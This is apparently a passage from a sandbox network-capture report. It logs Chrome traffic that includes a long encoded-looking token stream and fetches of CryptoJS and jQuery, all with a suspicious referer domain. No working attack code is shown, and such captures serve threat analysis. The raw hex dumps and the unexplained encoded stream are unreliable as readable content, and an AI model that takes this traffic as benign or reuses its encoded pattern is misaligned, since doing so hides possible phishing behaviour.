2025-02-25 14:37:22 UTC	1369	IN	Data Raw: 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b Data Ascii: pO++oOOFpOOFpOOFpO++oO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oOOFpOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpOOFpO++oOOFpO++oO++oOOFpO++oOOFpOOFpO+
2025-02-25 14:37:22 UTC	1369	IN	Data Raw: 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 Data Ascii: OOFpOOFpO++oOOFpOOFpO++oO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpO++oO++oOOFpOOFpO++oO++oO++oOOFpOOFpO++oOOFpO++oO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOF
2025-02-25 14:37:22 UTC	1369	IN	Data Raw: 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 Data Ascii: ++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oOOFpOOFpO++oO++oOOFpOOFpO++oO++oOOFpOOFpOOFpO++oOOFpO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oO++oO++oOOFpOOFp
2025-02-25 14:37:22 UTC	1369	IN	Data Raw: 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f Data Ascii: FpOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oOOFpOOFpO++oOOFpOOFpO++oOOFpO++oOOFpO++oO++oOOFpOOFpO++oOOFpO++oOOFpO++oO++oOOFpOOFpO++oOOFpO++oOOFpOOFpOOFpO++oO++oO
2025-02-25 14:37:22 UTC	1369	IN	Data Raw: 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b Data Ascii: oO++oO++oOOFpO++oO++oOOFpOOFpO++oO++oOOFpO++oO++oO++oOOFpOOFpO++oO++oOOFpOOFpO++oO++oOOFpO++oO++oO++oO++oO++oO++oOOFpOOFpOOFpOOFpOOFpO++oOOFpO++oO++oOOFpO++oOOFpOOFpO++oO++oO++oO++oO++oO++oOOFpO++oOOFpO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49770	104.17.24.14	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:23 UTC	653	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://rvxt.ymactablet.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:23 UTC	961	IN	HTTP/1.1 200 OK Date: Tue, 25 Feb 2025 14:37:23 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 77623 Expires: Sun, 15 Feb 2026 14:37:23 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v8iyqYqKHAzApM%2BWMP1y%2B%2BeEDLv369u8xg384KrKVxCewaHK3WwdjzfdBwreAtuRm4lukhp6bkOOzCcLnmKNplRBIL6E8KZqPdCv%2F0h9XzT2yoDaFfc4hSqpb2ebnb1SlGWMo%2Fg4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91786edc5bfe8c0b-EWR alt-svc: h3=":443"; ma=86400
2025-02-25 14:37:23 UTC	408	IN	Data Raw: 37 62 66 30 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf0!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-02-25 14:37:23 UTC	1369	IN	Data Raw: 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 Data Ascii: eof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.c
2025-02-25 14:37:23 UTC	1369	IN	Data Raw: 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 Data Ascii: e.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomByt
2025-02-25 14:37:23 UTC	1369	IN	Data Raw: 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 Data Ascii: typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a
2025-02-25 14:37:23 UTC	1369	IN	Data Raw: 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e Data Ascii: r(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>
2025-02-25 14:37:23 UTC	1369	IN	Data Raw: 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 Data Ascii: 0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I
2025-02-25 14:37:23 UTC	1369	IN	Data Raw: 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 Data Ascii: fer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify
2025-02-25 14:37:23 UTC	1369	IN	Data Raw: 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e Data Ascii: .charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMN
2025-02-25 14:37:23 UTC	1369	IN	Data Raw: 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 Data Ascii: s(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=t
2025-02-25 14:37:23 UTC	1369	IN	Data Raw: 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 Data Ascii: 9]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49772	151.101.66.137	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:23 UTC	625	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://rvxt.ymactablet.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:23 UTC	614	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 25 Feb 2025 14:37:23 GMT Age: 1735845 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740055-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 88 X-Timer: S1740494243.249983,VS0,VE0 Vary: Accept-Encoding
